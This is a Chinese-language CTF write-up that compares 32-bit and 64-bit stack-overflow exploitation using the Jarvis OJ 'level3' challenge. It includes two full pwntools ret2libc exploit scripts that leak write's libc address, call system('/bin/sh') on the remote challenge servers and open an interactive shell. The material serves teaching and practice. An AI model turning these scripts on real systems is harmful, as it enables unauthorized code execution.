• Home
  • About
    • tearorca photo

      tearorca

      Wishful thinking have to be willing to bet on clothing!

    • Learn More
    • Google+
    • Github
  • Posts
    • All Posts
    • All Tags
  • Projects

32位和64位在pwn中的不同点

19 Jan 2019

Reading time ~1 minute

64位程序和32位的区别就是在于参数的传递。32位使用栈帧来作为传递的参数的保存位置,而64位使用寄存器,分别用rdi,rsi,rdx,rcx,r8,r9作为第1-6个参数。rax作为返回值 64位没有栈帧的指针,32位用ebp作为栈帧指针,64位取消了这个设定,rbp作为通用寄存器使用。

具体可以看这篇:https://yq.aliyun.com/ziliao/483166

用两道题目一样但一个是32位一个是64位来看看具体的区别。

题目地址: https://pan.baidu.com/s/1wsts4hC25ndlw_DPA-fsRg

提取码:01un

主函数

int __cdecl main(int argc, const char **argv, const char **envp)

{

	vulnerable_function();

	return write(1, "Hello, World!\n", 0xEuLL);

}

ssize_t vulnerable_function()

{

	char buf; // [rsp+0h] [rbp-80h]

	write(1, "Input:\n", 7uLL);

	return read(0, &buf, 0x200uLL);

}

很明显的栈溢出,但文件里面没有给system和/bin/sh但给了libc所以需要leak出基址就可以了。这里要栈溢出两次,第一次返回到主函数。

32位的exp

#!/usr/bin/env python

#-*- coding:utf-8 -*-

from pwn import *

#context.terminal = ['terminator','-x','sh','-c']

#libc=ELF('/lib/i386-linux-gnu/libc.so.6')

elf=ELF('level3')

libc = ELF('libc-2.19.so')

#r=process('level3')

r=remote('pwn2.jarvisoj.com',9879)

#pwnlib.gdb.attach(r)

write_plt=elf.plt['write']

write_got=elf.got['write']

main=elf.symbols['main']

payload=flat(['a'\*140,write_plt,main,1,write_got,4])

r.recvuntil("Input:\n")

r.sendline(payload)

write_addr = u32(r.recv(4))

base_addr = write_addr - libc.symbols['write']

sys_addr=base_addr+libc.symbols['system']

binsh_addr=base_addr+libc.search('/bin/sh').next()

payload=flat(['a'*140,sys_addr,'a'*4,binsh_addr])

r.recvuntil("Input:\n")

r.sendline(payload)

r.interactive()

64位就需要先找到几个传参数的寄存器。用ROPgadget来找比较方便。但是这里存在一个问题:
当我们想要构造 write() 函数的调用栈的时候 , 参数的传递需要通过寄存器传参的方式进行也就是说要调用 write(1, read_got, 0x08)我们需要将 :
rdi 设置为 1
rsi 设置为 read() 函数在 got 表中的地址
rdx 设置为 0x08
我们来通过 ropper 来寻找一下 pop rdi; ret 指令 , 发现可以成功在可执行程序中找到pop rsi; ret 也可以顺利找到但是 pop rdx; ret 却找不到 , 这个时候应该怎么办呢 ?如果我们不设置 rdx寄存器的值的话 , 那在 write() 调用的时候就会直接取得 rdx 之前的值
我们可以考虑一下 , 我们这里只需要获取 write() 返回的前八个字节作为地址
那么就算打印的数据较多 , 也并不会影响什么 , 只需要能保证 rdx 寄存器的值大于 8 即可经过调试发现这里 rdx 的值确实是大于 8 的 , 这样我们就只需要接收前八个字节作为地址即可。

0x00000000004006b3 : pop rdi ; ret

0x00000000004006b1 : pop rsi ; pop r15 ; ret

拿到了两个地址之后就是leak出write的真实地址计算基址就行了。第二次溢出就一个参数,只要用rdi就行了。

Exp

#!/usr/bin/env python

#-*- coding:utf-8 -*-

from pwn import *

#r=process('./level3_x64')

elf=ELF('level3_x64')

libc=ELF('libc-2.19.so')

r=remote("pwn2.jarvisoj.com", "9883")

#libc=ELF('/lib/i386-linux-gnu/libc.so.6')

vul_ret_addr=0x04005E6

pop_rdi_addr=0x004006b3

pop_rsi_addr=0x004006b1

write_plt=elf.plt['write']

write_got=elf.got['write']

payload='a'*0x88+p64(pop_rdi_addr)+p64(1)+p64(pop_rsi_addr)+p64(write_got)+'daassaas'+p64(write_plt)+p64(vul_ret_addr)

r.recvuntil("Input:\n")

r.sendline(payload)

write_addr=u64(r.recv(8))

write_libc=libc.symbols['write']

base_addr=write_addr-write_libc

system_addr=libc.symbols['system']+base_addr

bin_addr=libc.search('/bin/sh').next()+base_addr

payload='a'*0x88+p64(pop_rdi_addr)+p64(bin_addr)+p64(system_addr)

r.sendline(payload)

r.interactive()


Share Tweet +1